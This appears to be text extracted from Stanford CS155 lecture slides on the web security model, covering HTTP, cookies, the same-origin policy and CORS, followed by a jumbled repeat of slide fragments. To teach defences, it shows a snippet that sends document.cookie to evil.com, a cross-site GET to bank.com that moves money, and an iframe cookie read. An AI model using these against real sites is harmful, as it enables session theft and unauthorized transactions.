Web Cybersecurity

Web Security Model
CS155 Computer and Network Security

And now for… Web Security!
1. Systems Security
2. Web Security
Web Security Model

Web Vulnerabilities and Attacks
HTTPS, TLS, Certificates
User Authentication and Session Management
3. Network and Mobile Security

Web Security Goals
Safely browse the web
Visit a web sites (including malicious ones) without incurring harm
Site A cannot steal data from your device, install malware, access camera, etc.
Site A cannot affect session on Site B or eavesdrop on Site B
Support secure web apps
Web-based applications (e.g., Zoom) should have same or better security

properties as native applications
Attack Models
Malicious Website
Attack Models
Malicious Website Malicious External Resource
Attack Models
Network Attacker
Attack Models
Network Attacker Malware Attacker

HTTP Protocol
HTTP Protocol
ASCII protocol from 1989 that allows fetching resources (e.g., HTML file) from a server
- Stateless protocol. Two messages: request and response
Every resource has a uniform resource location (URL):
http://cs155.stanford.edu:80/lectures?lecture=08#slides
scheme domain port path query string fragment id
Anatomy of Request
HTTP Request
GET /index.html HTTP/1.1

 
Accept: image/gif, image/x-bitmap, image/jpeg, */*

Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
Host: www.example.com
Referer: http://www.google.com?q=dingbats
Anatomy of Request
HTTP Request
method path version
 

Accept-Language: en
Anatomy of Request
HTTP Request
method path version
 

Accept-Language: en
headers
Anatomy of Request
HTTP Request
method path version
 

Accept-Language: en
headers
body
(empty)
HTTP Response
HTTP Response
status
HTTP/1.0 200 OK code
Date: Sun, 21 Apr 1996 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Content-Type: text/html
headers
Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT
Content-Length: 2543 
<html>Some data... announcement! ... </html> body

HTTP GET vs. POST
HTTP Request
method path version
POST /index.html HTTP/1.1
 

Accept-Language: en
headers
Name: Zakir Durumeric

body
Organization: Stanford University
HTTP Methods
GET: Get the resource at the specified URL (does not accept message body)
POST: Create new resource at URL with payload
PUT: Replace target resource with request payload
PATCH: Update part of the resource
DELETE: Delete the specified URL

HTTP Methods
GETs should not change server state; in practice, some servers do perform side effects
- Old browsers don’t support PUT, PATCH, and DELETE
- Most requests with a side affect are POSTs today
- Real method hidden in a header or request body
🙅 Don’t do…
GET http://bank.com/transfer?fromAccount=X&toAccount=Y&amount=1000
HTTP → Website
When you load a site, your web browser sends a GET request to that website
stanford.edu
http://example.com
GET /index.html
stanford.edu
Loading Resources
Root HTML page can include additional resources like images, videos, fonts
After parsing page HTML, your browser requests those additional resources
stanford.edu
http://example.com
GET /img/usr.jpg
<img src=“/imc/usr.jpg”></img>
stanford.edu
External Resources
There are no restrictions on where you can load resources like images
Nothing prevents you from including images on a different domain
http://example.com
GET /img/usr.jpg
<img src=“/imc/user.jpg”></img>
<img src=“https://bank.com/img/usr.jpg”> 
</img>
bank.com
(i)Frames
Beyond loading individual resources, https://a.com
websites can also load other websites

within their window
• Frame: rigid visible division b.com

d.com
c.com
• iFrame: floating inline frame a.com
Allows delegating screen area to

content from another source (e.g., ad)
Javascript
Historically, HTML content was static or generated by the server and
returned to the web browser to simply render to the user
Today, websites also deliver scripts to be run inside of the browser
<button onclick=“alert(“The date is” + Date())”>

Click me to display Date and Time.
</button>
Javascript can make additional web requests, manipulate

page, read browser data, local hardware — exceptionally
powerful today
Document Object Model (DOM)
Javascript can read and modify page by interacting with DOM
• Object Oriented interface for reading/writing page content
• Browser takes HTML -> structured data (DOM)
<p id=“demo"></p>
<script>
document.getElementById(‘demo').innerHTML = Date()
</script>
Basic Execution Model
Each browser window….
- Loads content of root page
- Parses HTML and runs included Javascript
- Fetches sub resources (e.g., images, CSS, Javascript, iframes)
- Responds to events like onClick, onMouseover, onLoad, setTimeout
HTTP/2
Major revision of HTTP released in 2015
Based on Google SPDY Protocol
No major changes in how applications are structured
Major changes (mostly performance):
- Allows pipelining requests for multiple objects
- Multiplexing multiple requests over one TCP connection
- Header Compression
- Server push
Cookies + Sessions
HTTP is Stateless
HTTP Request
HTTP Response
HTTP/1.0 200 OK
 
<html>Some data... </html>
If HTTP is stateless, how do we have website sessions?

HTTP Cookies
HTTP cookie: a small piece of data that a server sends to the web browser
The browser may store and send back in future requests to that site
Session Management
Logins, shopping carts, game scores, or any other session state
Personalization
User preferences, themes, and other settings
Tracking
Recording and analyzing user behavior
Setting Cookie
HTTP Response
HTTP/1.0 200 OK
Date: Sun, 21 Apr 1996 02:20:42 GMT
Server: Microsoft-Internet-Information-Server/5.0
Connection: keep-alive
Set-Cookie: trackingID=3272923427328234
Set-Cookie: userID=F3D947C2
Content-Length: 2543
<html>Some data... whatever ... </html>

Sending Cookie
HTTP Request
 

Accept-Language: en
Cookie: trackingID=3272923427328234
Cookie: userID=F3D947C2
Login Session
GET /loginform HTTP/1.1
cookies: []
HTTP/1.0 200 OK 

cookies: []
POST /login HTTP/1.1 <html><form>…</form></html>
cookies: []
username: zakir HTTP/1.0 200 OK 
password: stanford cookies: [session: e82a7b92]
<html><h1>Login Success</h1></html>
GET /account HTTP/1.1

cookies: [session: e82a7b92]
GET /img/user.jpg HTTP/1.1

cookies: [session: e82a7b92]
Cookies are always sent
Cookies set be a domain are always sent for any request to that domain
http://example.com
GET /img/usr.jpg
<img src=“/imc/user.jpg”></img>
</img>
bank.com
…for better or worse…
Cookies set be a domain are always sent for any request to that domain
http://example.com
GET /transfer?…
<img src=“https://bank.com/transfer? 
fromAccount=X 
&toAccount=Y 
&amount=1000”></img>
bank.com
Modern Website
Modern Website
The LA Times homepage includes 540 resources from

nearly 270 IP addresses, 58 networks, and 8 countries
CNN—the most popular mainstream news site—loads

361 resources
Many of these aren’t controlled by the main sites

Modern Website51 cookies
Modern Website
jQuery library
Google analytics Local scripts
Third-party ad Framed ad
Same Origin Policy
(Goals)
Remember… UNIX Security Model
Subjects (Who?)
- Users, processes
Objects (What?)
- Files, directories
- Files: sockets, pipes, hardware devices, kernel objects, process data
Access Operations (How?)

- Read, Write, Execute
Web Security Model
Subjects
“Origins” — a unique scheme://domain:port
Objects
DOM tree, DOM storage, cookies, javascript namespace, HW permission
Same Origin Policy (SOP)

Goal: Isolate content of different origins
- Confidentiality: script on evil.com should not be able to read bank.ch
- Integrity: evil.com should not be able to modify the content of bank.ch

Bounding Origins
Every Window and Frame has an origin
Origins are blocked from accessing other origin’s objects

Bounding Origins — Windows
bank.com
http://example.com
attacker.com
http://example.com
bank.com
http://example.com
attacker.com
http://example.com
attacker.com cannot…
- read or write content from bank.com tab
- access bank.com's cookies

- detect that the other tab has bank.com loaded
bank.com
http://example.com
bank.com
http://example.com
If Tab 1 logins into bank.com, then Tab 2’s requests also send the cookies
received by Tab 1 to bank.com.
 
Both tabs share the same origin and have access to each others cookies
BroadcastChannel API
The BroadcastChannel API allows same-origin scripts to send messages
to other browsing contexts. Simple pub/sub message bus between
windows/tabs, iframes, web workers, and service workers.
// Connect to the channel named "my_bus".

const channel = new BroadcastChannel('my_bus');
// Send a message on "my_bus".

channel.postMessage('This is a test message.');
// Listen for messages on "my_bus".

channel.onmessage = function(e) {
console.log('Received', e.data);
};
// Close the channel when you're done.

channel.close();
Bounding Origins — Frames
attacker.com
http://example.com
attacker.com cannot…
- read content from bank.com frame
bank.com bank.com - access bank.com's cookies

- detect that has bank.com loaded
Exchanging Messages
Parent and children windows/frames can exchange messages
Sender:
targetWindow.postMessage(message, targetOrigin, [transfer]);
targetWindow: ref to window (e.g., window.parent, window.frames)
targetOrigin: origin of targetWindow for event to be sent. Can be * or a URI
Receiver:
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event){
alert(“message received”)
}
Same Origin Policy
(HTTP Responses)
SOP for HTTP Responses
Pages can make requests across origins
GET /img/usr.jpg
attacker.com
http://example.com
</img>
bank.com
SOP prevents Javascript on attacker.com from directly inspecting HTTP

responses (i.e., pixels in image). It does not prevent making the request.
SOP for HTTP Resources
Images: Browser renders cross-origin images, but SOP prevents page from
inspecting individual pixels. Can check size and if loaded successfully.
CSS, Fonts: Similar — can load and use, but not directly inspect
Frames: Can load cross-origin HTML in frames, but not inspect or modify
the frame content. Cannot check success for Frames.
attacker.com
https://a.com
✗ bank.com
attacker.com
bank.com
Script Execution
Scripts can be loaded from other origins. Scripts execute with the privileges
of their parent frame/window’s origin. Cannot view source, but can call FNs
bank.com ✓ You can load library

from CDN and use it to
<script src=“/js/jquery.min.js”></script> alter your page
bank.com
❌ If you load a malicious
library, it can also steal
<script src="jquery.com/jquery.min.js"></script> your data (e.g., cookie)
Domain Relaxation
facebook.com
http://example.com
Frame A
Origin: cdn.facebook.com
Domain Relaxation
You can change your document.domain to be a super-domain
a.domain.com → domain.com OK
b.domain.com → domain.com OK
a.domain.com → com NOT OK
a.doin.co.uk → co.uk NOT OK

Available at: https://publicsuffix.org/
Domain Relaxation
facebook.com
http://example.com
Frame: cdn.facebook.com
 
<script>
document.domain = facebook.com
</script>
Domain Relaxation Attacks
cs155.stanford.edu
http://example.com
Frame: stanford.edu
<script>
document.domain = stanford.edu
</script>
Relaxation Attacks
What about cs155.stanford.edu → stanford.edu?
- Now Dan and Zakir can steal your Stanford login 
Solution:
Both sides must set document.domain to share data
Same Origin Policy
(Javascript)
Javascript XMLHttpRequests
Javascript can make network requests to load additional content or submit forms
let xhr = new XMLHttpRequest();

xhr.open('GET', “/article/example”);
xhr.send();
xhr.onload = function() {
if (xhr.status == 200) {
alert(`Done, got ${xhr.response.length} bytes`);
}
};
// ...or... with jQuery
$.ajax({url: “/article/example“, success: function(result){
$("#div1").html(result);
}});
Malicious XMLHttpRequests
// running on attacker.com
$.ajax({url: “https://bank.com/account“,
success: function(result){
$("#div1").html(result);
}
});
// Should attacker.com be able to see Bank Balance?

// Hopefully, no.
XMLHttpRequests SOP
You cannot make requests to a different origin unless you are granted
permission by the destination origin (usually, caveats to come later)
You can only read responses if they’re from the same origin (or you’re given
permission by the destination origin to read their data)
XMLHttpRequests requests (both sending and receiving side) are policed by

Cross-Origin Resource Sharing (CORS)
Reading Permission: Servers can add Access-Control-Allow-Origin

(ACAO) header that tells browser to allow Javascript to allow access
Sending Permission: Performs “Pre-Flight” permission check to determine

whether the server is willing to receive the request from the origin
Let’s say you have a web application running at app.company.com and

you want to access JSON data by making requests to api.company.com.
CORS Success
POST /x OPTIONS /x
Origin: app.c.com
$.post({url: “api.c.com/x“,
Origin:  
success: function(r){ 
api.c.com
$("#div1").html(r); Header:
} Access-Control-Allow-Origin: 
}); http://app.c.com
POST /x
DATA
Wildcard Origins
POST /x OPTIONS /x
Origin: app.c.com
Origin:  
api.c.com
$("#div1").html(r);
Header:
}
Access-Control-Allow-Origin: *
});
POST /x
DATA
CORS Failure
POST /x OPTIONS /x
Origin: app.c.com
Origin:  
api.c.com
} Access-Control-Allow-Origin:
}); https://www.c.com
ERROR
*Usually: Simple Requests
⚠ Not all requests result in a Pre-Fetch trip. “Simple” requests do not. Must
meet all of the following criteria:
1. Method: GET, HEAD, POST
2. If sending data, content type is application/x-www-form-

urlencoded or multipart/form-data or text/plain
3. No custom HTTP headers (can set a few standardized ones)
These mimic the types of requests that could be made without Javascript 
e.g., submitting form, loading image, or page
Simple CORS Success
GET /x GET /x
Origin: app.c.com
$.ajax({url: “api.c.com/x“,
Origin:  
api.c.com
} Access-Control-Allow-Origin: 
}); http://app.c.com
Simple CORS Failure
GET /x GET /x
Origin: app.c.com
$.ajax({url: “api.c.com/x“,
Origin:  
api.c.com
} Access-Control-Allow-Origin:
}); https://www.c.com
ERROR
!reading != !attack
GET /x
Origin: attacker.com http://bank.com/transfer? 
fromAccount=X 
$.ajax({url: “bank.com/t",
success: function(r){  &toAccount\=Y 
Bank
$("#div1").html(r); &amount\=1000
}
});
Header:
Access-Control-Allow-Origin:
https://bank.com
ERROR
Same Origin Policy
(Cookies)
Cookie Same Origin Policy
Cookies use a different origin definition:
(domain, path): (cs155.stanford.edu, /foo/bar)

versus (scheme, domain, port) from DOM SoP
Browser always sends cookies in a URL’s scope:
Cookie’s domain is domain suffix of URL’s domain:
stanford.edu is a suffix of cs155.stanford.edu
Cookie’s path is a prefix of the URL path
/courses is a prefix of /courses/cs155

Scoping Example
name = cookie1 name = cookie2 name = cookie3
value = a value = b value = c
domain = login.site.com domain = site.com domain = site.com
path = / path = / path = /my/home
cookie domain is suffix of URL domain ∧ cookie path is a prefix of URL path
Cookie 1 Cookie 2 Cookie 3
checkout.site.com No Yes No
login.site.com Yes Yes No
login.site.com/my/home Yes Yes Yes
site.com/account No Yes No
Setting Cookie Scope
Websites can set a scope to be any prefix of domain and prefix of path
✔ cs155.stanford.edu can set cookie for cs155.stanford.edu
✔ cs155.stanford.edu can set cookie for stanford.edu
❌ stanford.edu cannot set cookie for cs155.stanford.edu
✔ website.com/ can set cookie for website.com/
✔ website.com/login can set cookie for website.com/
❌ website.com cannot set cookie for website.com/login
No Domain Cookies
Most websites do not set Domain. In this situation, cookie is scoped to the
hostname the cookie was received over and is not sent to subdomains
site.com
name = cookie1 name = cookie1

domain = site.com domain =
path = / path = /
❌
subdomain.site.com
Policy Collisions
Cookie SOP Policy
cs.stanford.edu/zakir cannot see cookies for cs.stanford.edu/dabo
(cs.stanford.edu cannot see for cs.stanford.edu/zakir either)
Are Dan’s Cookies safe from Zakir?
const iframe = document.createElement("iframe");

iframe.src = “https://cs.stanford.edu/dabo”;
document.body.appendChild(iframe);
alert(iframe.contentWindow.document.cookie);
Policy Collisions
Cookie SOP Policy
cs.stanford.edu/zakir cannot see cookies for cs.stanford.edu/dabo
(cs.stanford.edu cannot see for cs.stanford.edu/zakir either)
Are Dan’s Cookies safe from Zakir? No.
const iframe = document.createElement("iframe");

iframe.src = “https://cs.stanford.edu/dabo”;
document.body.appendChild(iframe);
alert(iframe.contentWindow.document.cookie);
Third Party Access
If your bank includes Google Analytics Javascript, can it access your

Bank’s authentication cookie?
Yes!
const img = document.createElement("image");

img.src = "https://evil.com/?cookies=" + document.cookie;
document.body.appendChild(img);
Third Party Access
If your bank includes Google Analytics Javascript, can it access your

Bank’s authentication cookie?
Yes!
const img = document.createElement("image");

img.src = "https://evil.com/?cookies=" + document.cookie;
document.body.appendChild(img);
HttpOnly Cookies
You can set setting to prevent cookies from being accessed by
Document.cookie API
Prevents Google Analytics from stealing your cookie —
1. Never sent by browser to Google because (google.com, /)  

does not match (bank.com, /)
2. Cannot be extracted by Javascript that runs on bank.com

Problem with HTTP Cookies
Network Attacker 
Can Observe/Alter/Drop Traffic
HTTPS Connection
bank.com
domain: bank.com
name: authID
value: auth
Network Attacker 
HTTPS Connection
bank.com
domain: bank.com
name: authID
value: auth
Attacker tricks user into visiting http://bank.com

Network Attacker 
HTTPS Connection
bank.com
domain: bank.com
name: authID
value: auth
Attacker tricks user into visiting http://bank.com
bank.com
domain: bank.com
name: authID
value: auth
Secure Cookies
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;
A secure cookie is only sent to the server with an encrypted request over the
HTTPS protocol.
Web Security Model
CS155 Computer and Network Security

Web Cybersecurity

Uploaded by

Copyright:

Available Formats

Web Cybersecurity

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Web Cybersecurity

Uploaded by

Copyright:

Available Formats

Web Security Model

CS155 Computer and Network Security

Web Security Model

HTTPS, TLS, Certificates

User Authentication and Session Management

3. Network and Mobile Security

Visit a web sites (including malicious ones) without incurring harm

Site A cannot aﬀect session on Site B or eavesdrop on Site B

Support secure web apps

Web-based applications (e.g., Zoom) should have same or better security

Network Attacker Malware Attacker

- Stateless protocol. Two messages: request and response

Every resource has a uniform resource location (URL):

GET /index.html HTTP/1.1

Accept: image/gif, image/x-bitmap, image/jpeg, */*

Accept: image/gif, image/x-bitmap, image/jpeg, */*

Accept: image/gif, image/x-bitmap, image/jpeg, */*

Accept: image/gif, image/x-bitmap, image/jpeg, */*

<html>Some data... announcement! ... </html> body

Accept: image/gif, image/x-bitmap, image/jpeg, */*

Name: Zakir Durumeric

POST: Create new resource at URL with payload

PUT: Replace target resource with request payload

PATCH: Update part of the resource

DELETE: Delete the specified URL

Nothing prevents you from including images on a diﬀerent domain

websites can also load other websites

• Frame: rigid visible division b.com

Allows delegating screen area to

Today, websites also deliver scripts to be run inside of the browser

<button onclick=“alert(“The date is” + Date())”>

Javascript can make additional web requests, manipulate

• Object Oriented interface for reading/writing page content

• Browser takes HTML -> structured data (DOM)

Based on Google SPDY Protocol

No major changes in how applications are structured

Major changes (mostly performance):

- Allows pipelining requests for multiple objects

- Multiplexing multiple requests over one TCP connection

If HTTP is stateless, how do we have website sessions?

<html>Some data... whatever ... </html>

Accept: image/gif, image/x-bitmap, image/jpeg, */*

HTTP/1.0 200 OK

GET /account HTTP/1.1

GET /img/user.jpg HTTP/1.1

The LA Times homepage includes 540 resources from

CNN—the most popular mainstream news site—loads

Many of these aren’t controlled by the main sites

- Files: sockets, pipes, hardware devices, kernel objects, process data

Access Operations (How?)

Same Origin Policy (SOP)

- Confidentiality: script on evil.com should not be able to read bank.ch

- Integrity: evil.com should not be able to modify the content of bank.ch

Origins are blocked from accessing other origin’s objects

Origins are blocked from accessing other origin’s objects

Origins are blocked from accessing other origin’s objects

- read or write content from bank.com tab

- access bank.com's cookies

Accept: image/gif, image/x-bitmap, image/jpeg, /

Accept: image/gif, image/x-bitmap, image/jpeg, /

Accept: image/gif, image/x-bitmap, image/jpeg, /

Accept: image/gif, image/x-bitmap, image/jpeg, /

Accept: image/gif, image/x-bitmap, image/jpeg, /

Accept: image/gif, image/x-bitmap, image/jpeg, /

HTTP/1.0 200 OK 

- Now Dan and Zakir can steal your Stanford login 

1. Never sent by browser to Google because (google.com, /)  